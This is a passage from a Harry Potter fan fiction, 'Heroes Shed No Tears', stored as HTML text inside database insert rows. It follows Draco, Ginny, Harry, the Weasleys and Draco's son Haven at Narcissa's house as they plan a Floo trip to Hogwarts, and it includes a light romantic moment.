parent, then you can be the one to say &#8216;no&#8217;,&#8221; Draco said, pulling Haven up. Haven laughed as Draco pulled him over his shoulder. &#8220;But for now, you&#8217;re just a sack of potatoes.&#8221;\n<br><br>\n&#8220;No, no! I&#8217;m not potatoes!&#8221; Haven cried, giggling as his hands swung around him wildly. \n<br><br>\nGinny grinned at them. &#8220;Okay <i>children</i>.&#8221;\n<br><br>\nDraco put Haven back on the ground, making sure to pretend like he was going to drop him at least once, just for a little squeal. \n<br><br>\n&#8220;Hey!&#8221; Haven yelled, pointing up in at a tree. &#8220;Is that an apple?&#8221; \n<br><br>\nGinny came to stand beside him and looked at where he was pointing, and sure enough, there were some apples high up in the tree. &#8220;Yes,&#8221; she said. &#8220;Shall I climb up and get us some?&#8221;\n<br><br>\nHaven nodded. &#8220;Please?&#8221;\n<br><br>\nDraco walked up behind them and frowned. &#8220;This is going to cut into our time.&#8221;\n<br><br>\n&#8220;Please, Daddy?&#8221; Haven looked at Draco with big eyes. \n<br><br>\nDraco sighed. &#8220;Be quick about it, Weasel.&#8221; \n<br><br>\nBut he didn&#8217;t have to say that because Ginny was already up high in the tree, with two apples tucked in her robes, reaching for one more. She stretched her fingers and tried to stand tip-toe on the branch. She heard a creaking sound, but just frowned and kept slowly reaching up towards the apple. That&#8217;s about when the branch broke off beneath her.\n<br><br>\nShe lunged forward and grabbed the apple, but was falling to the ground quickly.\n<br><br>\nBefore she could hit the ground, Draco had caught her and was holding her in her arms. She had her eyes shut tightly and the apple clutched in her hand. She very slowly opened her eyes and blinked. &#8220;What&#8230;Why&#8230;&#8221;\n<br><br>\n&#8220;I caught you. You&#8217;re a clumsy Weasel, and I don&#8217;t have time to mend bones,&#8221; said Draco.\n<br><br>\n&#8220;Ginny?&#8221; She whipped her head around and saw Harry sitting on a broom just a ways off. They hadn&#8217;t seen him coming. &#8220;What are you doing?&#8221;\n<br><br><br><br><br><br>\n<b>VF:</b>\nYeah, okay, everyone is asking about Haven&#8217;s mom. And...you&#8217;ve already met her. :-D Sillies. \n<br><br><br><br><br><br><br><br><br><br><br><br>\n\n'),
	(99, 8, '\n<b>A/N:</b>  I hope you like this chapter, it was writing whilst I was drinking large amounts of Tang, so please excuse me.\n<br><br>\n<b> Disclaimer:</b> Still only own Haven.\n<br><br>\n<b>Heroes Shed No Tears</b><br>\nPart VIII--\n<br><br>\n\n&#8220;Oh,&#8221; she said. Her eyes widened and Draco dropped her quickly. She landed on her bum. &#8220;Ow!&#8221; She glared at him. &#8220;What did you do that for?&#8221;\n<br><br>\n	\nDraco looked at Harry, ignoring Ginny. &#8220;Potter,&#8221; he acknowledged. \n<br><br>\n\n&#8220;Malfoy.&#8221; Harry did the same. &#8220;What were you&#8230;?&#8221;\n<br><br>\n\n&#8220;She fell from that tree,&#8221; Draco explained. &#8220;She was trying to get some apples.&#8221;\n<br><br>\n\nHarry raised an eyebrow. &quot;Apples?&quot;\n<br><br>\n\n&quot;Yeah,&quot; Haven interjected. &quot;We\'ve been eating those bean things and I wanted an apple. They&#8217;re yummier.&quot;\n<br><br>\n\n&quot;Oh,&quot; said Harry. He looked at Ginny.\n<br><br>\n\n&quot;Really, the branch broke, look,&quot; she said. She pointed to the splintered branch that was lying near the base of the tree. \n<br><br>\n\n&quot;Okay,&quot; Harry said, pulling some brooms from behind his back. &quot;We\'re riding back to Mrs. Malfoy\'s house. Everyone else is already there.&quot;\n<br><br>\n\n&quot;Well done, Potter.&quot; Draco said coolly, grabbing one of the brooms and hoisting Haven on in front of him. He took the other one and tossed it to Ginny. &quot;Let\'s get a move on, I want to be there before sun down.&quot;\n<br><br>\n\nGinny rolled her eyes and shot up in the air to hover next to Harry.  Harry left the canopy of the trees and Ginny followed. Draco was already pretty far ahead of them. Ginny sighed and breathed in the air, happy to be out of the musky air that was in the forest.\n<br><br>\n\n-\n<br><br>\n\nNarcissa opened the doors of her house and watched the skies as Draco, Haven, Ginny and Harry started their descent. They landed smoothly, Draco taking Haven&#8217;s hand immediately and Harry taking Ginny&#8217;s broom from her.\n<br><br>\n\n&#8220;I hope you had a nice fly,&#8221; Narcissa said, taking the brooms from all of them.\n<br><br>\n\n&#8220;We did,&#8221; Ginny said with a smile. She was glad to be back on the ground though.\n<br><br>\n\nNarcissa led them into a living room and seated on the couches Ginny saw her brothers and Neville. She smiled, &#8220;Hullo! We&#8217;ve made it!&#8221;\n<br><br>\n\nFred and George leapt off of the couch they had been occupying and smothered her in hug, grumbling something about, &#8220;Bloody Pogrebin.&#8221; \n<br><br>\n\n&#8220;Hey, hey,&#8221; she said. &#8220;I&#8217;m alright, get off me you big lugs.&#8221; She slugged them in the shoulders playfully, and turned to the immobile Ron and Percy. She gave them hugs.\n<br><br>\n\nHarry walked in as Ron said, &#8220;Gods, Gin, I swear I&#8217;m going to kill that bloody prat Malfoy.&#8221;\n<br><br>\n\nGinny rolled her eyes. &#8220;Shut up, Ronniekins.&#8221;\n<br><br>\n\nRon glared and looked to Harry. &#8220;I don&#8217;t know why you guys trust him. I swear you&#8217;ve gone daft. He&#8217;s a bloody wanker, how do you know that he isn&#8217;t just spying for You-Know-Who?&#8221; Ginny raised a chiding eyebrow.\n<br><br>\n\nHarry sighed and ran a hand through his hair. &#8220;Look Ron, he may be a wanker, but he&#8217;s the only one we&#8217;ve got with half a brain.&#8221; Ron started to protest, but Harry held up and hand and cut him off.  &#8220;But, if he screws up, I promise you can be the one to pull his eyes out.&#8221;\n<br><br>\n\nRon looked marginally happier. &#8220;Lovely, pull the sodding git&#8217;s eyes out.&#8221; He rubbed his hand together.\n<br><br>\n\n&#8220;You&#8217;re demented,&#8221; Ginny said, thwacking him on the back of the head. \n<br><br>\n\nRon shook his head, &#8220;Nah, I&#8217;ve just not been able to do anything for way too long.&#8221;\n<br><br>\n\n&#8220;Me too,&#8221; Percy chimed in. &#8220;It&#8217;s becoming more unbearable everyday. Especially just sitting around and having to listen to that brat whine.&#8221; Percy was looking pointedly at Ron.\n<br><br>\n\n&#8220;I don&#8217;t whine,&#8221; Ron said, crossing his arms on his chest. \n<br><br>\n\nGeorge slapped him on the back, &#8220;Hush now, old chap. We&#8217;re going to be at Hogwarts soon and I&#8217;m sure Snape will be able to brew you a potion that will have to back to normal in no time.&#8221;\n<br><br>\n\n&#8220;Yeah,&#8221; said Fred. &#8220;He&#8217;s a demon when it comes to making those potions. He just waves his wand and BOOM!&#8212;there they are.&#8221;\n<br><br>\n\nPercy snorted, &#8220;You don&#8217;t use a wand to make potions, idiot. They require brewing in a cauldron and measurement of ingredients and&#8230;&#8221; by now everyone in the room had tuned Percy out.\n<br><br>\n\nNarcissa poked her head around the corner of the door jam and looked for Ginny. &#8220;Virginia? Would you like to bathe? I&#8217;m sure you must feel awful after having to trek through that filthy forest.&#8221;\n<br><br>\n\nGinny&#8217;s eyes widened. &#8220;A bath? That sounds lovely.&#8221; She got up off of the couch and followed Narcissa out of the room. \n<br><br>\n\nAs she was led down the hall, she noticed that the house seemed much bigger on the inside than it did on the outside; she assumed it was charmed that way. In reality, the house was more of a mansion. The halls were long and lead to many staircases. There were doors all along the hallways, spaced evenly. Narcissa finally stopped in front of a door and pushed it open. Inside there was a bedroom, she ushered Ginny inside and turned another knob and the door opened to reveal a luxurious bathroom. There was a huge tub with many jets and faucets.\n<br><br>\n\nA gasp escaped Ginny&#8217;s throat. &#8220;My gods.&#8221; She looked around more, seeing the fluffy towels hanging neatly on their racks. &#8220;I haven&#8217;t had a proper wash in....&#8221; She looked at her hands. &#8220;Since the war.&#8221;\n<br><br>\n\nNarcissa smiled warmly. &#8220;Then it&#8217;s high time, isn&#8217;t it? And this is just the bath for it. Very nice, don&#8217;t you think?&#8221;\n<br><br>\n\n&#8220;Oh, it&#8217;s amazing.&#8221; Ginny ran her fingers across the fabric of a towel, reveling in the softness. \n<br><br>\n\nNarcissa produced a small pile of folded clothes. &#8220;This is what you can change into once you&#8217;ve washed. We can&#8217;t have you wearing those any longer,&#8221; she said, gesturing towards Ginny&#8217;s dirtied butter-nut robes. &#8220;You can just send them down the laundry shoot and I&#8217;ll get the house elves to throw them out.&#8221;\n<br><br>\n\n&#8220;No!&#8221; Ginny bit her lip. &#8220;I mean, I&#8217;d like to keep them...as a reminder.&#8221;\n<br><br>\n\nNarcissa nodded. &#8220;Very well, then. Enjoy your bath.&#8221; She left the bathroom, shutting the door behind her.\n<br><br>\n\nGinny turned and faucet and let the warm water run over her fingers.\n<br><br>\n\n-\n<br><br>\n\n&#8220;Where&#8217;s Longbottom?&#8221; Draco asked. He, Harry and the twins were sitting in the library getting ready to go over their plans. \n<br><br>\n\nHarry frowned. &#8220;He was here just a second ago. Maybe he had to use the restroom again?&#8221; Fred and George chuckled. &#8220;I think he may have a slight bladder problem.&#8221; Fred and George snickered. Harry tried to give them a stern look, but failed and ended up laughing himself. &#8220;Seriously,&#8221; he said between laughs. &#8220;He has been having to go to the bathroom much more than is humanly necessary.&#8221;\n<br><br>\n\nDraco rolled his eyes. &#8220;We&#8217;ll talk to Snape about it when we get to Hogwarts, but until then&#8212;&#8217;&#8217; He stopped to glare at the three other men. &#8220;If we can compose ourselves&#8230;.&#8221;\n\nHarry and the twins straightened up. &#8220;Sorry&#8230;&#8221;\n<br><br>\n\n&#8220;Don&#8217;t apologize, Potter.&#8221; Draco lip curled up in disgust. &#8220;Just shut up.&#8221; Fred and George shared a look.\n<br><br>\n\nHarry ignored him. &#8220;How are we getting to Hogwarts?&#8221;\n<br><br>\n\n&#8220;We could Floo,&#8221; Draco said. \n<br><br>\n\n&#8220;I thought that Hogwarts closed its Floo grates,&#8221; said Harry.\n<br><br>\n\nDraco raised an eyebrow. &#8220;There are a few grates in Hogwarts that remain open.&#8221;\n<br><br>\n\nHarry&#8217;s brows furrowed. &#8220;What are you talking about, Malfoy? When you step into a Floo grate and call for Hogwarts it&#8217;s totally impossible to tell which fireplace you&#8217;re going to come out of. How can there be a few that are still functional?&#8221;\n<br><br>\n\nDraco lifted his eyes to the ceiling and rubbed his temples. &#8220;The grate isn&#8217;t exactly in Hogwarts.&#8221;\n<br><br>\n\n&#8220;You said it was.&#8221;\n<br><br>\n\n&#8220;Shut up and let me finish,&#8221; Draco snapped. Harry rolled his eyes at Draco. &#8220;As I was saying, the gate isn&#8217;t in Hogwarts. But it leads to Hogwarts.&#8221;\n<br><br>\n\n&#8220;Tell us where it is,&#8221; George said. &#8220;Quit drawing it out.&#8221;\n<br><br>\n\n&#8220;It&#8217;s in the Shrieking Shack.&#8221; Draco said.\n<br><br>\n\nHarry&#8217;s eyebrows rose. &#8220;That would work.&#8221;\n<br><br>\n\n&#8220;Of course, it was <i>my</i> idea wasn&#8217;t it?&#8221; Draco said smirking.\n<br><br>\n\n&#8220;Only one problem,&#8221; interrupted Fred. &#8220;The Shrieking Shack is haunted.&#8221;\n<br><br>\n\nBoth Harry and Draco snorted, then stopped and gave each other with looks of repulsion. &#8220;It&#8217;s not haunted,&#8221; said Harry. &#8220;You remember that Lupin is a werewolf?&#8221; They nodded. &#8220;He used to go there for his transformations while he was at Hogwarts. The noises he made were what the townsfolk thought were the ghosts that haunt the shack.&#8221;\n<br><br>\n\n&#8220;Why didn&#8217;t Dumbledore just tell them what it was instead of letting them think that?&#8221; asked George.\n<br><br>\n\n&#8220;He helped spread the rumor; it was to keep Lupin safe and keep it so that he could still attend Hogwarts. If the parents of the children at the school had known, they would have definitely made Dumbledore expel him.&#8221;\n<br><br>\n\n&#8220;Right,&#8221; said Fred. &#8220;I see. Well, good plan, Malfoy.&#8221;\n<br><br>\n\n&#8220;Yes, good plan,&#8221; repeated George. \n<br><br>\n\nThe door creaked open and they all turned to look at it. Ginny stood in the doorway, clean and freshly robed. &#8220;Hullo,&#8221; she said stepping in and closing the door behind her. &#8220;Narcissa told me that you need to see me?&#8221; She looked at them expectantly.\n<br><br>\n\n&#8220;I see that once the grime is cleaned off you, you actually resemble some sort of life form,&#8221; said Draco, his eyes roving over her body.\n<br><br>\n\nGinny glared at him and crossed her arms. &#8220;Stuff it, Malfoy.&#8221;\n<br><br>\n\nHarry gave Draco a look. &#8220;We&#8217;re going to go to Hogwarts, but we think that maybe you should stay here, with Haven and Narcissa. It would be safer for you.&#8221; \n<br><br>\n\nGinny blinked and looked to Fred and George. &#8220;Did you two agree with this?&#8221; she asked.\n<br><br>\n\n&#8220;We only want what&#8217;s best for you, Gins. We&#8217;ve already lost Dad in this war and we don&#8217;t want to risk losing anyone else that we don&#8217;t have to,&#8221; said George.\n<br><br>\n\n&#8220;You&#8217;re serious? You&#8217;re going to try and keep me here?&#8221; She glared at them. &#8220;I&#8217;m <i>not</i> staying here and letting you all go out and fight the death eaters without me! I&#8217;ve been stuck in that godforsaken camp too long. I want to do something! And I&#8217;d like to see you try and keep me here.&#8221; She had her finger pointed. &#8220;There&#8217;s no way that I&#8217;m staying here where it&#8217;s <i>safe</i> while you guys go out and have all the fun.&#8221;\n<br><br>\n\n&#8220;Fun?&#8221; Harry asked. &#8220;You think it&#8217;s fun fighting a war??&#8221;\n<br><br>\n\n&#8220;It certainly sounds more fun than sitting at home wondering if everyone you love is okay. I know that.&#8221; Ginny argued. \n	<br><br>\n\n&#8220;What about your mother?&#8221; Harry asked.\n<br><br>\n\nGinny let out a low breath of air. &#8220;Don&#8217;t bring my mother into this! She&#8217;ll be fine. She doesn&#8217;t need me here worrying over everyone, and then, in turn, getting her upset. I can&#8217;t believe you said that, Harry.&#8221;\n<br><br>\n\nHarry sighed and rubbed the bridge of his nose. &#8220;I&#8217;m sorry, Ginny. But we just can&#8217;t let you go.&#8221; \n<br><br>\n\nGinny let out a frustrated shriek. She looked at Draco and saw that he was watching this all with an amused look on his face. &#8220;Did you agree to this?&#8221; she asked him.\n<br><br>\n\n&#8220;Of course not,&#8221; said Draco. He received glares from all the other men in the room. &#8220;I never said that we should leave you behind. If they&#8217;re expecting to beat the death eaters this time, they&#8217;re going to need a lot of man power.&#8221; Ginny raised an eyebrow. &#8220;Woman power as well,&#8221; he added. &#8220;My mother certainly doesn&#8217;t <i>need</i> you here. I&#8217;m sure you&#8217;ll be much more useful on field as a medic and fighting.&#8221;\n<br><br>\n\nGinny allowed herself to give Draco a small smile, which he ignored. &#8220;See? Malfoy agrees that I should go. Why can&#8217;t you see what is best for everyone?&#8221;\n<br><br>\n\n&#8220;We&#8217;ll talk about it later,&#8221; said Fred. \n<br><br>\n\n&#8220;Yeah, Gins, why don&#8217;t you go, and we&#8217;ll talk about it.&#8221; Harry shot Draco a furious look.\n<br><br>\n\nGinny sniffed and put her hands on her hips. &#8220;Why can&#8217;t you talk about it with me here?&#8221;\n<br><br>\n\n&#8220;Weasley,&#8221; said Draco. &#8220;Just go. We&#8217;ll come get you when we&#8217;re done.&#8221;\n<br><br>\n\nShe gave them all one more piercing look and stomped out of the room, slamming the door behind her.\n<br><br>\n\n&#8220;Well, that went well,&#8221; said George.\n<br><br>\n\n&#8220;Ginny isn&#8217;t going to give in, is she?&#8221; Harry asked.\n<br><br>\n\n&#8220;Of course not,&#8221; said George. &#8220;She&#8217;s a Weasley. Weasleys don&#8217;t give up.&#8221;\n<br><br>\n\nDraco rolled his eyes. &#8220;I don&#8217;t see why you&#8217;re trying to keep her here. She&#8217;d be much more useful at Hogwarts.&#8221;\n<br><br>\n\n&#8220;The only reason you don&#8217;t see why she should stay is because you don&#8217;t love her,&#8221; said Harry.\n<br><br>\n\nDraco wrinkled his nose. &#8220;You can&#8217;t let love get in the way of a war. Wars aren&#8217;t fought that way.&#8221;\n<br><br>\n\n&#8220;Then tell us, Malfoy, how are they fought?&#8221; said Fred.\n<br><br>\n\n&#8220;They are fought by using every means necessary,&#8221; said Draco. &#8220;If you&#8217;re not going to let Ginny participate in the war, you might be losing a victory. Think about it. She&#8217;s a medic, how many of those do we have left?&#8221; Harry&#8217;s face fell a bit. &#8220;That&#8217;s what I thought. You&#8217;re going to need her to heal people. And I&#8217;ll have to say from first hand experience that she&#8217;s a pretty good healer. She&#8217;s also a good fighter, how else do you think she stayed alive in the war before?&#8221;\n<br><br>\n\n&#8220;She wasn&#8217;t in combat before,&#8221; argued Harry.\n<br><br>\n\n&#8220;Just give it up, Potter. I&#8217;m right about this.&#8221; Draco said. &#8220;You heard her argument, there&#8217;s no way that you&#8217;re going to be able to keep her here anyways.&#8221;\n<br><br>\n\n&#8220;Fine, Malfoy. Have it your way. You can go tell her,&#8221; said Harry, sinking in his chair. \n<br><br>\n\n-\n<br><br>\n\nGinny had taken to wandering the hallways, pacing the corridors, muttering under her breath about Harry, Fred and George. She was not going to let them make her stay here and not be able to participate the war. Why should she let them go off and fight if they wouldn&#8217;t let her? It just didn&#8217;t make sense. Was it because she is a woman? \n<br><br>\n\nShe kicked the wall. &#8220;OW!&#8221; She hopped around, holding her injured foot. &#8220;Smart, Ginny,&#8221; she said.\n<br><br>\n\n&#8220;Extremely smart, Weasley,&#8221; Draco said, walking to her from behind.\n<br><br>\n\n&quot;No comments were necessary, Malfoy,&quot; Ginny said, shooting him a glare, rubbing the toe of her shoe. She let her foot drop back down to the floor and leaned against a wall. &quot;Why are you here? To tell me that they\'ve determined that I have to stay here? I wouldn\'t be surprised.&quot; She rolled her eyes. &quot;They always try to keep me home, or where it\'s safe from <i>everything</i>. Ever since that whole Tom Riddle incident, they seem to think that I\'m fragile.&quot;\n<br><br>\n\nDraco looked down at the floor, then back to Ginny. &quot;I convinced them to let you come.&quot;\n<br><br>\n\nGinny looked at him, startled. &quot;You did?&quot; She blinked. &quot;What did you do that for?&quot;\n<br><br>\n\nHe shrugged. &quot;Why not? Your side is going to need all the help it can get.&quot;\n<br><br>\n\nGinny pursed her lips. &quot;Well, thanks.&quot;\n<br><br>\n\n&quot;Only repaying you, Malfoys don\'t like debts.&quot;\n<br><br>\n\n&quot;What are you repaying me for? I haven\'t saved your life. If anything, you saved mine, when those Pogrebin attacked,&quot; Ginny said, frowning at him.\n<br><br>\n\nDraco rolled his eyes, and crossed his arms. &quot;I didn\'t think Weasleys were that <i>stupid</i>.&quot;\n<br><br>\n\n&quot;I\'m <i>not</i> stupid.&quot;\n<br><br>\n\n&quot;Whatever. Anyways, you took care of my son, without any questioning, which is a surprising occurrence; we are in the middle of war after-shocks and there\'s lack of food at all of the refugee camps. And then, you took care of me without knowing who I was. I think those are some things that might put me into some sort of substantial debt to <i>you</i>.&quot;\n<br><br>\n\n&quot;Oh, Malfoy,&quot; Ginny waved her hand. &quot;I don\'t think that really counts as debt. I did those things because I wanted to. And you don\'t have to act like it\'s such a bad thing to be in debt to me. We\'re on the same side here.&quot;\n<br><br>\n\n&quot;What can I say?&quot; Draco smirked. &quot;Old habits die hard.&quot;\n<br><br>\n\nGinny frowned and stepped forward. She looked at Draco\'s chest and squinted, lifting her hand. Draco blinked and lowered his eyebrows. &quot;Weasley--&quot;\n<br><br>\n\n&quot;You have a string on your robes.&quot; Her hand darted to his chest and plucked a white string from the front of his robes. She dropped it to the floor and smiled. &quot;Not too dignified for a Malfoy, eh?&quot; she asked, arching an eyebrow. \n<br><br>\n\nShe put her hand up, like she was going to pluck something else off of him. His hand flew up and caught her wrist. &quot;Are you teasing, Weasley?&quot;\n<br><br>\n\nThe corner of Ginny\'s lip twitched. &quot;Of course not, Malfoy.&quot;\n<br><br>\n\n&quot;I think you are,&quot; Draco said. His lips curled up into a smirk. &quot;The littlest Weasel wants to tease?&quot;\n<br><br>\n\nGinny pressed her lips together and looked up at him, her eyes dancing. Her eyes darted to his lips, and back to his eyes; she winced. Bad move, looking at those lips. &quot;Not <i>tease</i> per say,&quot; she heard her lips betray her.\n<br><br>\n\nDraco raised an eyebrow. &quot;Oh? Then what does the Weasel want?&quot;\n<br><br>\n\nShe bit her lip, causing his eyes to fly down towards them. He looked back at her eyes, and saw them sparkling. He smirked and lowered his lips. He turned his head and brushed a feather light kiss on her jawbone. \n<br><br>\n\n&quot;I think,&quot; he said, grinning slightly, &quot;that your brothers and Potter would still like to talk to you.&quot;\n<br><br>\n\n&quot;O-Oh,&quot; Ginny croaked. &quot;Well, I supposed they might.&quot; She cleared her throat. &quot;Let\'s get going then.&quot;\n<br><br>\n\n&quot;Daddy?&quot; came a timid voice.\n<br><br>\n\nDraco\'s eyes widened and he whipped his head around. Haven was standing not too far off with a big grin on his face, a dimple showing on one cheek. &quot;Did you just--&quot;\n<br><br>\n\n&quot;Come on, Haven. Let\'s get Grammy Ciss to fix you some of those snicker doodles that you love so much. Wouldn\'t you like some of those?&quot; Draco said, grabbing onto Haven\'s hand and pulling him down the hall after him.\n<br><br>\n\nGinny smiled and put at hand to her face. Her fingers trailed along the place where Draco had kissed her jawbone. She sighed and turned towards the library.\n<br><br>\n\n-\n<br><br>\n\nThe guys were sitting in the library, now Percy and Ron--fully rested from their <i>strenuous</i> journey--among them. They were talking loudly, Ginny sitting in an armchair, set apart from the rest of them, her chin rested on her palm and her eyes trained to the ceiling.\n<br><br>\n\n&quot;Testosterone, testosterone,&quot; she muttered to herself. &quot;Everyone has to be in charge.&quot; She rolled her eyes. &quot;No, <i>Potter</i>,&quot; she mimicked, &quot;your plans are hogwash. Didn\'t you see what happened last time you tried to plan a raid? Totally down the drain. Shut your bloody mouth and listen to me.&quot; She rolled her eyes again. &quot;Well, Malfoy,&quot; she mimicked again, &quot;we <i>aren\'t</i> planning a bloody raid now are we? We\'re just trying to find a simple way to tell Dumbledore we\'re coming--&quot; Ginny stopped and frowned.\n<br><br>\n\n&quot;Are all men this stupid?&quot; she asked. The buzzing of male voices stopped as they all turned to look at her. Her eyebrows flew up and her hand smacked over her mouth. She took it down slowly. &quot;Did I just say that out loud?&quot;\n<br><br>\n\n&quot;Yes, Ginny, you did,&quot; said Ron, glaring wickedly. &quot;Care to tell us what would make you say such a thing?&quot;\n<br><br>\n\n&quot;Well,&quot; she said, sighing. She looked to Fred, George, and Neville--who seemed to have finally found his way back from the bathroom. &quot;If I\'m correct, you three didn\'t just come to our refugee camp without any sort of authority--did you?&quot; she asked, with an accusatory glare.\n<br><br>\n\nFred and George grinned.\n<br><br>\n\n&quot;Of course not,&quot; said Neville. &quot;Dumbledore sent us. He sent us to come and get you all from the camp.&quot;\n<br><br>\n\n&quot;Exactly,&quot; said Ginny. &quot;Don\'t you see? He already<i> knows</i> that we\'re coming. I\'m sure they\'re all prepared for us and will make sure to double check before sending off rounds of Unforgivables.&quot; She let out a satisfactory smirk as the men exchanged looks. &quot;Dumbledore has more sense than that,&quot; she added. &quot;You know...to just have Aurors sending off Unforgivables at unknown--&quot;\n<br><br>\n\n&quot;Yes, Gin,&quot; Ron snapped. &quot;We get your bloody point. Shut up.&quot;\n<br><br>\n\n&quot;Merlin, Ron, why do you have to be so touchy? I\'m just giving you all a push in the right direction,&quot; she said with a sugar sweet smile. Ron rolled his eyes and muttered under his breath.\n<br><br>\n\nDraco was smirking from his perch near a window, obviously pleased to see Ron so upset.\n<br><br>\n\n&quot;Alright then,&quot; Harry said, breaking the strained silence. &quot;Now all we have to do is get there.&quot; He looked at his watch. &quot;Since Malfoy here has the <i>ingenious</i> plan of how we\'re getting to Hogwarts all figured out, I\'d recommend we go and get a good night\'s sleep--no telling what we\'re going to be doing tomorrow.&quot;\n<br><br>\n\n&quot;Such faith,&quot; Draco said. \n<br><br>\n\n&quot;Who\'d blame him?&quot; Ron asked, casting a bitter glance towards Draco.\n<br><br>\n\n&quot;Oh hush, Ron,&quot; Ginny chastised. &quot;You really need to get that beetle out of your bum. It\'s made your face go all squinted up.&quot; Ginny frowned. &quot;Sort of like Pansy\'s. You remember Pansy don\'t you, Ronniekins?&quot; She reached out and pinched his cheeks. \n<br><br>\n\nRon smacked her hands, but grinned. &quot;Shuddup before I come get you, Gins.&quot;\n<br><br>\n\nGinny raised and eyebrow. &quot;You\'re going to come get <i>me</i>?--In your crippled state, dear brother? I think not.&quot; She smiled. &quot;Twins. Come take this one and Percy to their room.&quot;\n<br><br>\n\n&quot;\'This one\' now is it?&quot; Ron grumbled.\n<br><br>\n\nGinny patted the top of his head. &quot;Sleep tight.&quot;\n<br><br>\n\n&quot;Don\'t let the bed bugs bite,&quot; Fred and George chorused. \n<br><br><br><br>\n\nReview.\n\n'),
	(99, 9, '\n\n<b>Disclaimer:</b> I only own Haven.\n<br><br>\n<b>Heroes Shed No Tears</b><br>\nPart IX\n\n<br><br>\n\nGinny stood out in the small balcony, her eyes were closed and her hands were clasped around the silver dragon pendant that was hanging off of her silver chain. Her fingers tightened and loosened convulsively. \n<br><br>\n	The stars in the black sky seemed to hang lower, like she could reach out and touch their sparkle. The night was cool, a gentle wind was blowing. It seemed a good sign for their departure to Hogwarts the next day.\n<br><br>\n	Ginny opened her eyes and stared up at the sky and sighed. \n<br><br>\n	&#8220;Gin?&#8221;\n<br><br>\n	She turned and saw Harry standing in the doorway, looking hesitant. His unruly dark hair was falling in his face, into his bright green eyes that seemed out of place in the dark night. She raised an eyebrow, and he stepped onto the balcony, making his way to her.\n<br><br>\n	&#8220;I&#8217;m sorry,&#8221; he broached. &#8220;I&#8217;m sorry that I tried to keep you here. I should have known that you wouldn&#8217;t have wanted to.&#8221; He looked at her, his eyes soft and unguarded. &#8220;We all just want you to be safe and we&#8217;re just keeping you in our best interests. Your brothers especially want to make sure that nothing happens to you, they&#8217;ve already suffered so much.&#8221;\n<br><br>\n	&#8220;I&#8217;m tired of suffering,&#8221; Ginny said, turning towards him. &#8220;I&#8217;m ready for this to be over, and I&#8217;ll do anything to get rid of it.&#8221;\n<br><br>\n	Harry put an arm around her. &#8220;I know. We&#8217;re going to try our best. I&#8217;m sure even Malfoy will.&#8221;\n<br><br>\n	&#8220;Malfoy,&#8221; Ginny repeated quietly under her breath. &#8220;How did he get involved with our side anyways? He seemed to be the last person I would ever suspect to cross over to our side.&#8221;\n<br><br>\n	&#8220;I think it was his son, Haven. He wanted Haven to be safe, and he would have done anything to ensure that he was, so he doubled as an agent for our side. Dumbledore started keeping Haven at Hogwarts during the worst parts of the war. As I understand, he had a special room in the dungeons, away from all of the fighting,&#8221; Harry said. &#8220;It&#8217;s understandable that even a person like Malfoy wouldn&#8217;t want his child growing up in the middle of the war. So many of the children in the camps have already lost their childhoods to the war.&#8221;\n<br><br>\n	&#8220;He changed for Haven,&#8221; Ginny murmured. &#8220;He really loves Haven,&#8221; she mused. &#8220;I wonder who his mother is.&#8221;\n<br><br>\n	&#8220;No one knows, he won&#8217;t tell.&#8221; Harry said. &#8220;It&#8217;s late, don&#8217;t you think that you should at least try to sleep? We&#8217;ve got a full day ahead of us.&#8221;\n<br><br>\n	&#8220;I suppose,&#8221; said Ginny, her hands dropped from the dragon pendant. Harry&#8217;s hand on the small of her back guided her inside. &#8220;Good night,&#8221; she said, and his hand dropped.\n<br>\n\n&#8220;Morning!&#8221; Haven crawled onto Ginny&#8217;s bed and shook her shoulders gently, trying to get her to wake up. &#8220;Wake up, sleepy head. Daddy says that you need to get ready now.&#8221;\n<br><br>\n	Ginny cracked open one eye and peered at Haven sleepily. &#8220;Huh?&#8221;&#8212;she was still asleep.\n<br><br>\n	&#8220;Remember that you guys are going to Hogwarts today?&#8221; Haven asked, cocking his head to the side. \n<br><br>\n	&#8220;Oh, yeah,&#8221; Ginny mumbled, closing her eye only to open both of them again. She sat up slowly, and rubbed her eyes. They were still bleary and clouded from sleep. &#8220;I guess it would be a good idea to wake up then.&#8221;\n<br><br>\n	Haven grinned. &#8220;Daddy said you need to be ready in an hour.&#8221;\n<br><br>\n	&#8220;Who sent you to wake me up?&#8221;\n<br><br>\n	&#8220;Daddy.&#8221;\n<br><br>\n	&#8220;Where&#8217;s everyone else?&#8221; She asked.\n<br><br>\n	&#8220;They&#8217;re in Grammy Ciss&#8217;s library. They got up a while ago,&#8221; Haven said.\n<br><br>\n	&#8220;Why didn&#8217;t anyone get me up then?&#8221; Ginny asked, a bit angry.\n<br><br>\n	&#8220;Potter said that you needed more sleep, that he didn&#8217;t want you to be tired.&#8221; Haven said in a sort of disdainful voice, sounding as though his father was speaking right through him.\n<br><br>\n	&#8220;Just like Harry,&#8221; Ginny said, shaking her head.\n<br><br>\n	She got up and shooed Haven from the room so that she could dress. She did so quickly, then rummaged around for her wand in the pockets of her old refugee robes. She found the two broken pieces and looked at them sadly. Despite the fact that she knew she was going to get a new one, she still felt sorry that she had broken this one; it had been a very serviceable wand that had never given her any trouble.\n<br><br>\n	She put the two halves of her ruined wand into her pocket and pulled on her heavy boots, lacing them tightly. She stood and brushed herself off, turning in front of the mirror and pushing at her cheeks.\n<br><br>\n	The person that she saw in the mirror was so different from the one that she had been before the war. The image of her bore little resemblance to the girl&#8212;woman&#8212;she had been before the war. She was no longer the girl that apprenticed Madam Pomfrey in the Hospital Wing at Hogwarts, excited that it was her last year, meaning she would graduate and go to one of the finest Medic schools in Magical Europe on a scholarship paid by Hogwarts. Instead, she saw what she had become, a grim young woman with war wounds evident in her eyes, having seen the all the misery the war had wrought, no longer so na&#239;ve and innocent to think everything was going to be okay.\n<br><br>\n	She heaved a sigh and felt a single tear trail down her cheek. She had promised herself there would be no more crying over the war. She had already lost so much in it, there was no need to lose herself as well. She brushed away the tear with hasty finger and left the room, her boots clicking harshly on the floor.\n<br><br>\n	Pushing the door of the library open, she saw the men sitting in various seats all around the library, with the exception of Draco who was sitting on the window seat, separated slightly from everyone else, with Haven sitting in his lap.\n<br><br>\n	&#8220;Thanks for waking me,&#8221; she said.\n<br><br>\n	&#8220;Sorry, Gins,&#8221; Harry said, not sounding sorry at all. &#8220;We just wanted to make sure that you were really well rested.&#8221;\n	<br><br>\n	&#8220;Speak for yourself,&#8221; said Draco. &#8220;If we could have woken her two hours ago with everyone else, we could have already been gone. It isn&#8217;t good to linger for too long.&#8221;\n<br><br>\n	Harry rolled his 